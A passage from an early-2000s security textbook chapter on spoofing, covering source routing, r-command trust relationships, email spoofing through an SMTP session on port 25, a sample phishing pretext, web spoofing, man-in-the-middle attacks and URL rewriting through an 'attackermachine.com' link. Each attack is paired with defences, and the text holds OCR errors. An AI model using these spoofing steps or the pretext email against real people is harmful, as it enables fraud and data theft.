0O.GW1.PIT1.ALTER.NET [146.188.162.73]

7 67 ms 270 ms 234 ms oarnet-gw.customer.ALTER.NET
[157.130.39.10]

8 45 ms 54 ms 45 ms dlpl-atm2-0.dayton.oar.net
[199.18.202.101]

9 47 ms 50 ms 46 ms donet2-atm3-0sl.dayton.oar.net
[199.18.109.226]

10 49 ms 50 ms 50 ms scone.donet.com

[205.133.113.87]

Trace complete.
Next, I perform a traceroute using loose source routing with an IP address
of 205.171.24.5, which means that I do not care what route the

traceroute program uses as long as it goes through the specified IP
address. The following is the command that is issued on a UNIX machine:

Traceroute -g www.newriders.com 205.171.24.5

The following is the output generated from running this command:

Tracing route to scone.donet.com [205.133.113.87]
over a maximum of 30 hops:

1 2 ms 4 ms 3 ms 10.4.0.1

2 7 ms 7 ms 9 ms 208.246.68.97

3 11 ms 10 ms 11 ms 208.246.68.130

4 27 ms 145 ms 64 ms Loopback(0.GW2.DCA1l.ALTER.NET
[137.39.2.154]

5 728 ms 21 ms 25 ms 105.ATM2-0.XR1.DCA1.ALTER.NET
[146.188.161.34]

6 74 ms 106 ms 82 ms 295.ATM7-0.XR1.DCA8.ALTER.NET
[146.188.163.14]

7 33 ms 54 ms 43 ms 189.ATM7-0.BR1.DCA8.ALTER.NET

[146.188.162.209]
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8 136 ms 60 ms 150 ms wdc-brdr-03.inet.gwest.net
[205.171.4.69]

9 768 ms 14 ms 32 ms wdc-core-03.inet.gwest.net
[205.171.24.69]
10 69 ms 126 ms 81 ms wdc-core-02.inet.gwest.net
[205.171.24.5]
11 101 ms 47 ms 110 ms wdc-core-01l.inet.gwest.net
[205.171.24.1]
12 93 ms 53 ms 131 ms chi-core-02.inet.gwest.net
[205.171.5.227]
13 202 ms 61 ms 119 ms chi-core-01l.inet.gwest.net

[205.171.20.1]
14 104 ms 136 ms 156 ms chi-edge-01.inet.gwest.net
[205.171.20.10]

15 * * * Request timed out.
16 * * * Request timed out.
17 * * * equest timed out.
18 * * * Request timed out.

19 208.46.62.50 reports: Invalid source route specified.

Trace complete.

You can see that the input I provided altered the path that the program
used. At step 8, the packet took a different path. I did this to make sure
the packet went through the gateway that I specified. Also, notice that as
dynamic as the Internet is, every path does not work. In this case, based
on the IP address that I told it to go through, the packet could not find a
path to the route. This is something to keep in mind with source routing:
make sure that your packets can still find a valid path to their destination.

As you can see, source routing has tremendous benefits for spoofing.An
attacker sends a packet to the destination with a spoofed address but
specifies loose source routing and puts his IP address in the list. Then,
when the recipient responds, the packet goes back to the spoofed
address, but not before it goes through the attacker’s machine. The
attacker is not flying blind because he can see both sides of the
conversation.

A couple of points are worth noting. First, you might want to specify
several addresses besides yours—this way, if someone catches it, he
cannot pinpoint who is targeting him. Second, strict source routing could
also be used but is a lot harder because you have to know the exact path.
My philosophy is, because both will work, why not use loose source
routing—after all, it is easy and has a higher chance of success.

As you have seen, using source routing makes it very straightforward to

spoof an address and see both sides of the conversation that is taking
place. There is a little more detail that has to be covered to make this
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work smoothly (in terms of sequence numbers), but that will be covered
in Chapter 5.

Protection Against Source Routing

The best way to protect yourself or your company against source routing
spoofing attacks is to disable source routing at your routers. There are
very few cases where people actually use source routing for legitimate
purposes. For this reason, it is usually a good idea to block this type of
traffic from entering or leaving your network. If your router blocks all
traffic that has source routing specified, an attacker cannot launch this
type of attack. On a Cisco router, you use the IP source-route command
to enable or disable source routing. Other routers have similar commands
that you can use to disable source routing.

Now let’s look at the third possible way to spoof IP addresses, which is
prevalent on UNIX machines: exploiting a trust relationship.

Trust Relationships

Mainly in UNIX environments, machines can set up trust relationships.
This is done to make it easier to move from machine to machine. For
example, if I am a developer at a company that has five UNIX servers and
I work on all five servers, I do not want to constantly have to log on to all
the systems. Instead, I set up a trust relationship between the servers. If
a user is authenticated by one server and that server has a trust
relationship with other servers, the user can move freely between the
servers without re-authenticating. The trust relationship basically uses IP
addresses for authentication, which, based on what you learned about IP
spoofing, is very dangerous. From a convenience standpoint, trust
relationships are really nice, but from a security standpoint, they are a
nightmare.

After a trust relationship is set up, you can move from machine to
machine using the UNIX r commands for access. These commands do not
require authentication, which means the user does not have to re-type her
password. To set up a trust relationship, an administrator puts a list of
hosts and/or users that are trusted in either an .rhosts file that is in a
user’s home directory or an /etc/hosts.equiv for the entire system. The
hosts.equiv file is usually more popular because it is done on a system
basis, as opposed to a user-by-user basis. The hosts.equiv file either
allows or denies hosts and users to use the r commands (like rlogin or
rsh) to connect to another machine without supplying a password. The
general format for each line of the file is the following:

+ or - hostname username
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where the + sign allows access and the - sign denies access. Basically, the
- sign means that the user must always supply a password to gain access.
The hostname is the name of the host or IP address, which is trusted, and
the username is optional, but is a username that is trusted on that host.
For example, if I trust Sally’s machine, I would put Sally’s hostname in my
hosts.equiv file. This way, anyone that is authenticated by Sally is
automatically trusted by my machine.

From a spoofing standpoint, trust relationships are easy to exploit. For
example, if an attacker knows that server A trusts anyone coming from
machine Y, which has an IP address of 10.10.10.5, and he spoofs his
address to 10.10.10.5, he is allowed access without a password, because
he is trusted. The main problem is still seeing the response traffic,
because all of the responses are sent back to the actual IP that is being
spoofed and not the attacker. For this reason, the attacker is flying blind,
where he can send packets to a victim but not receive any response. This
will be addressed in more detail in the Chapter 6.

Protection Against Trust Relationships

The easiest way to protect against a spoofing attack involving trust
relationships is to not use them. This is not always an easy solution,
because some companies depend on them, but there are things that can
be done to minimize exposure. First, limit who has a trust relationship. I
have known several companies where, by default, when a new UNIX
machine is set up, administrators configure it to trust every other box,
when in reality trust relationships are very rarely used at the company. In
this case, it makes more sense to determine who really needs a trust
relationship and set it up for a small number of machines.

Second, do not allow trust relationships to be used via the Internet. In
most cases, a trust relationship is for internal users to access several
machines; yet some companies trust machines that are located at an
individual’s house or a contractor facility. This is extremely dangerous and
should be eliminated or minimized.

Email Spoofing

Email spoofing is done for three main purposes. First, attackers do it to
hide their identity. If an attacker wants to send an email to someone, but
does not want that person to know it came from him, email spoofing is
very effective. Also, in this case, anonymous remailers can be used. An
anonymous remailer is an entity that an attacker sends his email to, and
the remailer forwards it to the destination concealing who really sent the
message. This allows an attacker to send anonymous email via the
Internet. For additional information on how anonymous remailers work,
you can access the Anonymous Remailers FAQ at
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http://www.andrebacard.com/remail.html. A list of anonymous remailers
can be found at
http://www.looksmart.com/eus1/eus53832/eus155852/eus282841/eus55

8112/r?1&.

Second, if an attacker wants to impersonate someone or get someone else
in trouble, he can spoof that person’s email. This way, whoever receives
the email will think it came from the person the attacker is impersonating
and will blame that person for the content. Third, email spoofing can be
used as a form of social engineering. For example, if an attacker wants
you to send him a sensitive file and the attacker spoofs his email address
so you think the request is coming from your boss, you might send him
the email.

There are three basic ways to perform email spoofing and each has
various levels of difficulty to perform and various levels of covertness. The
following are the three main types:

o Similar email address
o Modify mail client
e Telnet to port 25

Each of these types will be covered, showing the relative ease to perform
email spoofing and what can be done to protect against it.

Similar Email Address

Some people do not consider this email spoofing, because it is so easy
and straightforward, but because I see attackers use this to exploit
information, we will cover it in this section. People have become so
accustomed to using email that they tend to blindly trust emails, without
careful examining who the email is really going to.

With this type of attack, an attacker finds out the name of a boss or
supervisor at a company. Because most companies post their
management team on their Web site, it is fairly easy to do. After he has
an individual’s name and his supervisor’'s name, the attacker registers an
email address that looks similar to the supervisor’s name. For example,
suppose that Eric works at ABC Company and Johny John, Eric’s
supervisor, is the vice president of IT. The attacker simply goes to
hotmail, Netscape, or one of the companies that offers free email, and
signs up for an account. The attacker picks a username like johnyjohn,
john2, johnyjohn55, or something that looks like an account that could
belong to Johny John. In the Alias field of the email, he puts the username
as Johny John. The Alias field is what is displayed in the From field in your
email client. Have you ever noticed when you receive an email, it does not
have the full email address; it only has a person’s name? That is because
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the email client is set to display just the Name or Alias field. By viewing
the email header, you can see what the real email address is, but few
users do this.

Now that the attacker has an email address, he sends an email to Eric
from this address. In the body of the email, he might say something like
the following:

Hello, how is everything going? I was working from home so I
am sending this from

my personal email account. I am under some tight deadlines
from management and

need you to help me out. Could you send me all of the
proposals you have worked on

for the last 3 months and your client list? I have to put
together a master list

for management showing them how hard we have been working and
I need it ASAP. Your

job depends on it.

Thanks for you help,

Johny John

When Eric receives this, there is a good chance he only sees Johny John in
the From field and might not even know it is his personal account. Even if
Eric checks, because the email address appears correct, he would
probably reply to it and the attacker would get the information he wants.
This is a very simple but effective attack methodology. I have seen many
clients have very sensitive information compromised, because they
trusted the From field of an email.

Protection Against Similar Email Addresses

Users need to be educated on the dangers of email and informed that
email is not a secure means of communication. Companies also should
teach users how easy it is to spoof or disguise email and to always verify
the From field. One way to help users is to configure mail clients so that
they always show the full email address and not the alias. The full email
address can provide some indication that something unusual is going on.
In the preceding case, doing this might not help, because an ambitious
employee would not want to question his boss, and if the boss says he
needs the information ASAP, the employee might not want to doubt the
legitimacy of the email.

To overcome these problems, you should set up the company’s email so

that it can be accessed remotely and via the Internet. Next, make it
company policy that, for security reasons, any work-related activities have
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to use work email. This way, if the user questions an external email
address, he has a policy backing him.

Another possible solution is to use public key encryption. If the sender of
the message attaches a digital signature, which is signed with his private
key, and you can encrypt it with his public key, you can assume that the
message actually came from him, unless his key was compromised. As
you will see throughout this book, encryption helps solve a lot of security
problems, if used properly. Yet, few companies utilize and harness the
power of encryption.

Modifying a Mail Client

When email is sent from a user, there is no authentication or validation
performed on the From address. Therefore, if an attacker has a mail client
like Eudora or Outlook, he can go in and specify whatever address he
wants to appear in the From line. Figure 4.5 shows the screen that is used
by Eudora.

Figure 4.5. Account setup dialog box for Eudora mail client.
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In this case, an attacker can specify whatever return address he wants.
The only catch is that when the user replies, the reply goes back to the
real address and not to the person spoofing the address. In the workplace,
this can be nasty if employees start spoofing addresses of other
employees with negative comments.

Protection Against Modifying a Mail Client

In this case, preventing employees from modifying a mail client is difficult,
but there are some things you can do to minimize their chances. First,
make sure you have a security policy or, more specifically an email policy,
outlining that this type of behavior is unacceptable and will result in
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immediate termination. Then, the policy must be enforced. In other
words, if anyone does this, no matter who he is, he must be terminated.
One problem that companies make with security policies is that they do
not uniformly enforce them—therefore, people do not take them seriously.

Next, you need to make sure that logging is performed on all systems,
especially your mail server, and that these logs are carefully preserved.
This is so important because, if an employee spoofs another’s email
address, you can discover who it was by looking at the logs. Nothing is
worse than having a policy that you cannot enforce.

Another way to detect email spoofing is by looking at the full email
header. Most mail systems have an option that allows you to view all of
the hosts that a message went through from source to destination. This
can indicate not only whether someone spoofed an email but where the
message originated from. The following is the full header of an email
message:

X-Persona: <test>
Received: from manic.cs.test.edu (manic [141.161.20.10])

by cssun.test.edu (8.9.2/8.9.2) with ESMTP id NAA08916

for <colee@cssun.test.edu>; Mon, 30 Oct 2000 13:47:18
-0500 (EST)
Received: from test.com ([207.159.90.19])

by manic.cs.test.edu (8.9.1b+Sun/8.9.1) with ESMTP id
NAA11633

for <coleelcs.test.edu>; Mon, 30 Oct 2000 13:46:27 -
0500 (EST)
Received: by test.com from localhost

(router,SLMail V2.7); Mon, 30 Oct 2000 15:39:17 -0500
Received: by test.com from ibml
(208.246.68.48::mail daemon; unverified,SLMail V2.7); Mon,

30 Oct 2000
15:39:16 -0500
Message-Id: <4.2.0.58.20001030134740.0094acd0@maill.test.com>
X-Sender: ecole@209.229.51.254
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58
Date: Mon, 30 Oct 2000 13:48:18 -0500
To: eric@cs.test.edu
From: Eric Cole <eric@test.com>
Subject: Test
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-UIDL: 7c¢d8eb5f25d62871b140b12063£92b35
test

In this example, test.edu and test.com are sample names that were used
to protect the real sites. By going through this header, you can see that
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the message originated from 208.246.68.48 and then connected to a
system running SLMail with an IP of 207.159.90.19. From there, it
connected to the test.edu server to send the email to eric@cs.test.edu.
You can see who spoofed the address and the path he took to try and hide
his tracks. Therefore, it is critical that you know how to view the full
header for the mail client that you are using.

Telnet to Port 25

A more complicated way to perform email spoofing is to telnet to port 25
on a mail server. Port 25 is used for Simple Mail Transfer Protocol (SMTP).
This is what mail servers use to send mail across the Internet. When an
attacker wants to send you a message, he composes a message and clicks
Send. His mail server then contacts your mail server, connects on port 25,
and transfers the message. Your mail server then forwards the message
to you. Because mail servers use port 25 to send messages, there is no
reason why an attacker cannot connect to port 25, act like a mail server,
and compose a message.

To do this, an attacker first finds out the IP address of a mail server or
runs a port scan against several systems to see which ones have port 25
open. After an attacker has a machine with port 25 open and a mail server
running, he types the following commands: telnet ip-address 25

After he is connected, he types the following:

helo

mail from:spoofed-mail-address

rcpt to: person-sending-mail-to

data

the message you want to send, followed by the period sign

The first step of issuing the command helo is not necessary on all
systems, but it does not do any damage when issued.

It is that easy. The following is the output from a session where an
attacker telnets to port 25 on a mail server and sends a spoofed message:

220 computing.com Smtp Server SLMail v2.7 Ready ESMTP spoken
here

mail from: eric@somewhere.com

250 OK

rcpt to: ecole@rusecure.com

250 OK, ecole@rusecure.com

data

354 Start mail input; end with <CRLF>.<CRLF>
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hello, this is a test

250 OK, Submitted & queued (24£f428b0.1in)

In this case, the message was sent to the recipient with a spoofed From
address. As you can see, this is very easy to perform.

More and more system administrators are realizing that attackers are
using their systems for spoofing, so newer mail servers do not allow mail
relaying. A mail server should only being sending or receiving mail for a
specific domain name or company. Mail relaying is where an attacker tries
to use a mail server to send mail to someone else on a different domain or
relay his mail off of another mail server.

The most basic form of mail spoofing protection is to validate that the
recipient’s domain is the same domain as the mail server; if it is not, the
message is dropped. In some cases, it also validates that the sender’s
domain is valid. Newer SMTP servers also validate for any remote
connection to the mail server that the To and From addresses are from
the same domain as the mail server; if they are not, it drops the message.
This last check is important; otherwise, an attacker could connect
remotely and send a message to someone within the company from a
spoofed address. The following is a message from a mail server that does
not allow relaying:

220 seclinuxl ESMTP Sendmail 8.9.3/8.9.3; Sun, 6 Aug 2000
06:46:07 —-0400
mail from: eric@somewhere.com

250 eric@somewhere.com... Sender ok
rcpt to: ecole@rusecure.com
550 ecole@rusecure.com... Relaying denied

An attacker can avoid this problem by running his own mail server. The
only problem is it becomes a little easier to trace back, because the
attacker’s IP address is in the mail header. Older versions of Sendmail had
an exploit that allowed an attacker to overwrite the IP address with
garbage data so that the IP address of the spoofed mail server could not
be viewed. This is another example of why it is so important to keep your
key servers patched with the latest version of the software.

There are several programs that allow you to set up a mail server on
virtually any operating system. To find a list of SMTP servers, go to
www.tucows.com and search on mail or SMTP server. The program I
recommend is SLMail.Just in case you think this is too complicated, there
is an easier way. There is a program called Phasma available from
http://www.8th-wonder.net/ that provides a nice GUI interface for
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Windows machines to perform mail spoofing. Figure 4.6 is the main screen
of the program.

Figure 4.6. Phasma mail spoofing program.
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To use it, you just type in the mail server, the To and From address, the
subject, and data, and you are all set. With this program, mail spoofing is
just as easy as sending a legitimate mail message.

Protection Against Telneting to Port 25

The best way to protect against this type of attack is to have all the latest
patches installed for your mail server and make sure all of the spoofing
and relay filters are properly configured. By doing this, you eliminate 90
percent of the problem, because an attacker cannot spoof your email from
the outside. The filters check each mail message and make sure that the
To and From addresses are the same domain as the one that the email
server resides on. If it is not, it drops the email. This does not stop an
attacker from spoofing an internal user and sending it to an internal user.
As we covered in the last section, you cannot prevent these types of
attacks, but you can minimize the damage by having proper security
policies in place and proper auditing turned on.

Web Spoofing

As the Bob Dole campaign realized in 1996, web spoofing can be a very
easy technique to accomplish. During the campaign, an attacker
registered the site dole96.org, which many guessed was a pro-Dole web
site. In reality, it was a site that shined a negative light on the whole
campaign. When people surf the web, most forget that many sites are not
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what they claim to be. When some users want to go to a web site, they
use a search engine to try and find the site. In other cases, users guess
the Web address by using the name of the company they are looking for—
for example, if the name of the company is Eric, they try eric.com or
eric.org. Then, when they go to that site and see the logo for the Eric
Company, users assume that they are at the right place.

For his campaign, George W. Bush registered several domain names, but
he didn’t cover all the bases. Interestingly enough, if you go to
bushsucks.com, it automatically forwards you to his campaign web site.
However, if you go to votebush.com, you get a site that has several
domain names for sale, some of which could have been used against Bush
(see Figure 4.7). It would have been trivial for someone to acquire or buy
votebush.com and put up a negative site about his campaign.

Figure 4.7. List of possible domains for sale and associated price.
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Recently, a similar type of attack was launched against customers of an
online bank. Attackers registered an URL similar to the bank’s URL, but
without the period between the www and the bank’s name. The real URL
was www.banksname.com and the spoofed URL was wwwbanksname.com
(with the period missing). An email was then sent to the bank’s customers
saying To connect to the new online Web site, click on the link
below, which was wwwbanksname.com. At quick glance, it looks correct,
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so several people went to this site and entered their account information.
The attackers gathered the information and then went to the real site and
had access to several accounts.

Now let’s take a look at several web spoofing techniques, starting with
some very basic attacks.

Basic Web Spoofing

Most people fail to realize that there are no requirements for registering a
domain name—basically it’s first come, first served. Before the web
became popular, many people registered a name and later tried to sell it
back to the company for big dollars. I have worked with several
companies that came late to the Internet game, and they had to pay big
dollars to get the right to use their name. There have been a lot of legal
proceedings around this because some consider it extortion, but it will be
interesting to see how this continues to play out.

Let’s look at another alternative. Suppose Eric is a software company that
is selling several products and someone owns eric.com. If he is nice, he
either sells it back to the company or includes a link on the site that says
If you are looking for Eric Software Company, click here, which
then takes users to the real site, ericcompany.com.

But what if that someone is an attacker who wants to make money off of
your name? He could set up a Web site for eric.com and make it look like
the Eric company’s web site. This way, when people go to that URL, they
think they have entered the real site and try to order software.

Here’'s how it works: A user goes through this spoofed site and clicks on
items she wants to order. She then goes to checkout to buy the items,
and the site prompts her for her shipping and credit card information. At
this point, the site records the credit card information, gives the user a
cookie, and puts up the message This site is currently
experiencing problems. Please try back later. When the user tries
back later, the site receives the cookie, knows that this is a user that has
already been spoofed, and, because her credit card data has already been
gathered, it automatically forwards the user to the real site at
ericcompany.com. Because so many people do not look at the URL line or
hide it on their browser, they probably would not even notice that the URL
has changed.

Note
A cookie is a piece of information that the browser passes to the client to

help track state information. The client then stores this information on the
local hard drive. The next time the user goes back to that web server, it
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gives the cookie back to the server and the server processes it so that it
can track that user over time.

Protection Against Basic Web Spoofing

The best way to protect against basic web spoofing is for sites to use
server-side certificates. Server-side certificates are much harder to spoof
and provide a higher level of protection, ensuring that the site you are
connecting to really belongs to the company you are expecting. A server
side certificate is a validated certificate that the server presents to a client
to prove they are who they say they are. It can be thought of as an ID
card for a server.

The biggest problem is that users do not understand the inherent dangers
of using the web. They don’t understand certificates, so even if a site does
not give a certificate, they still trust it. For those sites that give
certificates, users frequently just click OK without ever looking at the
certificates. Users need to take the time to verify that the certificates
belong to the companies they want to connect to. Another way you should
educate your users is by configuring web browsers to always display the
URL. This way, you can better help users understand where they are

going.

Man-in-the-Middle Attacks

We have covered a very basic and effective method of web spoofing, but
now we will look at a more complex method. Man-in-the-middle attacks
can be used for all different types of exploits, not just web spoofing. We
cover them in this context because they're fairly easy to do and extremely
effective. With a man-in-the-middle attack, the attacker has to position
himself so that all traffic coming and going to the victim goes through
him. For an ordinary user, this might be hard, but for an attacker, he can
compromise the external router for your company (see Figure 4.8).

Figure 4.8. Diagram of a man-in-the-middle attack.
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All traffic coming in and going out of your organization has to pass
through this router. If an attacker can compromise it, he can launch a
passive attack at a minimum. He cannot read information that is
encrypted with SSL, so he might not be able to get credit card
information—but he can still get sensitive information.

Remember that passive attacks can provide a lot more information than
you might realize. When I worked internal security at one company, it had
a policy of monitoring all traffic that was coming in and leaving the
organization. You'd be amazed at what we were able to observe. We
caught two people committing corporate espionage, one person actually
committing a crime, and several people connecting to sites that they
should not have been connecting to.

In an active attack, an attacker not only can intercept your traffic, but he
also can modify it. Let’s say that you connect to an e-commerce site and
you put in the online ordering form that you want to order five widgets at
$1000 each. What if an attacker adds two zeroes to that five without you
knowing about it and you order 500 widgets? You can expect a lot of
potential problems.

Also, consider this scenario: You are using Web mail to send mail to a
prospective client about an upcoming meeting and you agree to meet the
client at 2:00 p.m. on Wednesday. Let’s say that a competitor intercepts
and modifies this traffic, and he changes the date and time to 4:00 p.m.
on Tuesday. Now, you think the meeting is on Wednesday and your client
thinks it is on Tuesday. When you do not show up at the meeting, you can
insist that the meeting was on Wednesday and probably lose the client
because you look incompetent. (Remember, the client is always right.) Or,
you can figure out what happened and admit that you had a major
security breach. Either way, from a business standpoint, your chances of
winning that client’s business are slim.

Let’'s make this a little more interesting. If instead of just intercepting the
traffic, as in the preceding example, the attacker actually inserts himself
in the middle of your communication. With this attack, the attacker plays
the role of a proxy, passing all information between the victim and the
recipient of the communication. A proxy is a system that sits between two
computers that are communicating and, in most cases, opens a separate
connection between each system. For example, if computer A and B were
communicating through a proxy, computer A would open up a connection
to the proxy and the proxy would open a second connection to computer
B.

Even if you encrypt the traffic with SSL, the attacker can still read it

because the traffic is being encrypted between the victim and the attacker
and the attacker and the end recipient, so there are actually two
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encrypted streams as opposed to one. From a victim’s standpoint, he has
no way of knowing that this is happening. Not only can all of his data be
read, but it can be modified. Therefore, it is very important that the
perimeter of your organization be properly secured.

A similar type of attack is a replay attack. This is where an attacker
records all the traffic between a user and a server, including
authentication information and requests (Bob thinks he is talking directly
with the server) for data. At a later point in time, the attacker sends the
same data or replays it back to the server to impersonate that user and
gain access.

The man-in-the-middle attack is effective but fairly complex. Later, we will
look at another technique that is as effective, but simpler to perform.

Protection Against Man-in-the-Middle Attacks

For the first type of man-in-the-middle attack, where someone is just
reading your traffic, encryption definitely helps. Because the attacker does
not know your encryption key, he cannot read or modify any of the data.

In the case of the man-in-the-middle attack where the attacker acts like a
proxy, encryption does not help because you have one connection to the
attacker and the attacker has a separate connection to the recipient.
Therefore, he can un-encrypt the traffic, read or modify it, and then re-
encrypt it for the recipient. In this case, it is important that you have
strong perimeter security, because in most cases, for an attacker to
launch this type of attack, he either has compromised your perimeter or
the company’s perimeter you are communicating with. If you do your part
and secure your perimeter, hopefully the person you are connecting to
has strong security. Remember that if your company has strong security
and if the person you are communicating with has weak security, this
attack can still be successful because an attacker will just compromise the
other company’s router. An attacker will compromise the weakest link in
the chain. This can be frustrating because even if your company has top-
notch security, it can still be compromised if everyone else you are
communicating with does not.

URL Rewriting

With URL rewriting, an attacker inserts himself in the flow of
communication, as in the man-in-the-middle attack. The only difference
is, with the man-in-the-middle attack, the attacker has to physically be
able to intercept the traffic as it goes over the Internet. If you are on the
same local network or can compromise a router, this is fairly easy; but in
other cases, it can be very difficult to perform. In those cases, the
attacker will probably use URL rewriting. With URL rewriting, an attacker
is redirecting web traffic to another site that is controlled by the attacker.
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Usually, a web page has links to several other sites or several other
pages. (If a web page only has static text with no links to anything else, it
is not useful to the attacker.) With URL rewriting, the attacker has to
rewrite all of the URLs (or links) on a web page. Instead of pointing to the
real page, the rewritten links point or redirect the user to the attacker’s
machine. Through a web browser, this looks no different to the user. The
only way the user can tell is if he looks at the source or at the bottom of
the browser where it states where the link goes. Looking at the HTML, a
normal link might look like the following:

<BR><A href=" http:://www.newriders.com/write.php3"
style="TEXT-DECORATION:
none"><B>Write for Us</B></A>

The attacker changes this link to the following:

<BR><A
href="http://attackermachine.com/http://www.newriders.com/writ
e.php3"

style="TEXT-DECORATION: none"><B>Write for Us</B></A>

The attacker makes this change for all links on that page. As you can see,
all the attacker has to do is insert his URL before the original URL. When a
user clicks on these links, she goes to the attacker’s site, which then
redirects her to the real site. From a user’s standpoint, everything looks
fine, but an attacker is placed in the middle of all communication and can
intercept or modify any information.

To illustrate how URL redirecting works, I will use a site on the Internet
that performs this for users. The site is www.anonymizer.com and is used
to surf sites anonymously so that the end site does not know who you are.
With this site, a user goes to the site first and puts in the URL he wants to
surf to. After that, all communication goes through the Anonymizer to
shield the privacy of the user. Figure 4.9 is the main page for the
Anonymizer.

Figure 4.9. Main Web page for the Anhonymizer program.
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Now when the user goes to www.newriders.com, the site comes up just as
if the user directly connected to it. From an attacker’s standpoint, he could
do the same thing and it would seem transparent to the user. Figure 4.10
shows the New Riders’ web site going through the Anonymizer.

Figure 4.10. How the URL changes when a user connects to a site via the
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From a detection perspective, there are two important things to note.
First, if you look closely at the URL, it looks suspicious:

http://anon.free.anonymizer.com/http://www.newriders.com

The URL of the Anonymizer is followed by the URL of the real site. If an
attacker is using URL redirecting, you can see it. As long as users keep the
Address field visible and look at it, they can probably detect this type of
attack.

Another way to detect this is to look at the source. From any browser, you
can choose View Source (or View Page Source in Netscape) and look at
the source code. As you can see in the following source code, all links
have been preceded with the Anonymizer’s URL:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>

<HEAD>

<TITLE>Welcome to New Riders [Anonymized-spical</TITLE>

<META content="text/html; charset=windows-1252" http--
equiv=Content-Type>

</HEAD>

<BODY aLink=#003366 bgColor=#ffffff leftMargin=0 1ink=#003399
text=#000000

topMargin=0 vLink=#006699><!- Begin Anonymizer Control Bar ->
<CENTER><FORM METHOD="POST"
ACTION="http://util.anonymizer.com/cgi-

bin/freeaction.cgi" TARGET=" top">

<TABLE BGCOLOR="#000099"><TR><TD>

<B><FONT COLOR="#FFFFFF">Please visit the Anonymizer's
Sponsors:</FONT></B><BR>

<TD
background=http://anon.free.anonymizer.com/http://www.newrider
s.com/images/fade.gi

f width=600>

<IMG alt="" border=0 height=20
src="http://invis.free.anonymizer.com/http://www.newriders.com
/images/dot c.gif"

width=1>

</TD>

<p>
<img alt="welcome to newriders.com"

src="http://invis.free.anonymizer.com/http://www.newriders.com
/images/nrp-
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logo.gif">
<p>

<img alt="welcome to newriders.com"

src="http://invis. free.

/images/road-
150.jpg">

anonymizer.com/http://www.newriders.com

<TABLE border=0 cellpadding="4">

<TBODY>
<TR>

<TD vAlign=top>
<FORM

action="http://anon.free.anonymizer.com/http://www.newriders.c

om/cfm/prod search.c
fm" method=post>

href="http://anon.free.

/calendar.php3"

style="TEXT-DECORATION:

<BR><A

href="http://anon. free.

/promotions.php3"

style="TEXT-DECORATION:

<BR><A

href="http://anon.free.

/fag.php3"

style="TEXT-DECORATION:

<BR><A

href="http://anon. free.

/international.php3"

style="TEXT-DECORATION:

<BR><A

href="http://anon. free.

m/n

style="TEXT-DECORATION:

PTR</B></A>
<BR><A

href="http://anon. free.

/write.php3"

style="TEXT-DECORATION:

</FONT>
<p>

</TD>

anonymizer.com/http://www.newriders.com
none"><B>Calendar</B></A>
anonymizer.com/http://www.newriders.com
none"><B>Current Promotions</B></A>
anonymizer.com/http://www.newriders.com
none"><B>FAQ</B></A>
anonymizer.com/http://www.newriders.com
none"><B>International</B></A>
anonymizer.com/http://www.pearsonptr.co

none" target=new window><B>Pearson

anonymizer.com/http://www.newriders.com

none"><B>Write for Us</B></A>

If an attacker really wants to hide his tracks, he could make them more
difficult to detect. With JavaScript, it's possible to modify the Address field
so an attacker can write code that strips out his portion of the URL and
hides the fact that URL redirecting is taking place. The one thing that is
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hard to cover is the source. Because the source is what is actually loaded,
if an attacker changes it, it can cause some problems and change what
was loaded. I know of very few users who actually check the source, so
this probably is not a big issue for an attacker.

As you can see, for an attacker to run this attack, he must be able to
redirect all of the links. He can do this either by modifying the source code
on the server or using a proxy that modifies the links as the web pages
are being loaded.

Protection Against URL Rewriting

As we have stated, there are two easy ways to determine that URL
redirecting is taking place. First, web browsers should be configured to
always display the destination URL, and users should be trained to look at
it. If they see two HTTP requests coupled, they have a pretty good idea
that URL redirecting is taking place.

The second method, examining the source, is guaranteed to tell you if
redirecting is taking place. Unfortunately, it is unreasonable to assume
that users will check the source for every page they connect to. Hopefully,
most attackers are not sophisticated enough to write JavaScript, which
can modify the source field to hide the fact that redirecting is taking place.
But even if they are and do, if the browser is set up to check with a user
before running any code, a well-trained, educated user might detect this.

As you might notice, having very strong security is dependent on having
users who are well educated and do the right thing. From a purely
technical standpoint, you can have some level of protection, but to have
really strong security, you must depend on your users.

Another way to protect against this attack is to make sure that the code
for your web pages is properly protected not only on the web server but
also in transit. If an attacker cannot redirect the URLs, he cannot launch
this attack.

Tracking State

Another popular way attackers spoof the web is by attacking the e-
commerce web sites and impersonating a user. By nature of how the web
works, there is no concept of state or tracking a user over time. If a user
connects to a web site and then connects to three other pages on the web
site, there is nothing inherent in the HTTP protocol or HTML that allows
the web server to know that the same person connected those three
times.

For e-commerce, being able to track the state of a connection and what a
user does over time is very important. If a web site wants to track a user
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over time or identify the user, as in the case of online banking, a web
application must take care of that.

There is no feature built into web servers or web browsers that tracks a
user over time and allows her to perform multiple actions in sequence.
Because web application developers are usually under very tight deadlines
and usually are not security professionals, there is room for mistake. What
works from a functionality standpoint does not necessarily work from a
security standpoint.

As with normal authentication, users are usually authenticated at the
beginning of the session only, and that authentication is valid as long as
they stay active or logged in. Remember, after a user logs on, it is the
responsibility of the application developers to track this information. In
practice, there are three ways to track a user after he logs on to a Web
site:

o« Cookies
e URL session tracking
« Hidden form elements

Cookies

Cookies are a piece of information that the server passes to the browser
and the browser stores for the server. Whenever a user connects to the
server, the server can request the cookie from the browser, the browser
passes it back to the server, and the server can track the user.

Cookies are fairly easy to use and very popular. However, cookies have
gotten a lot of negative press. People compare them to wearing a bar
code, because now you can be tracked in cyberspace by cookies. People
also have claimed that cookies can be used to pass viruses and other
malicious code, which is not true. Cookies are just text stored on a local
machine and generated by a server.

There are two types of cookies: persistent and non-persistent. A
persistent cookie is stored on the hard drive in a text file format, which is
accessed by the browser. Because it is stored in a text file, an attacker
that has local access can easily access the cookie. A non-persistent cookie
is stored in memory and is a little harder to access, because it goes away
after you reboot or turn off the machine.

To launch an attack against non-persistent cookies, an attacker has to
access and edit memory or get the source code for a shareware browser
and modify it to write non-persistent cookies to a file. Another easy way is
to write Java code that intercepts the cookies as they are sent back and
forth.
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Also, sniffers are applications that can be used to pull non-persistent
cookies off the wire as they are transmitted from source to destination.
There is also a program called Achilles that allows you to edit http
sessions and modify non-persistent cookies. The program is available at
http://www.digizen-security.com.

For the remainder of our discussion on cookies, we will concentrate on
persistent cookies. To modify the cookies, search your hard drive for a file
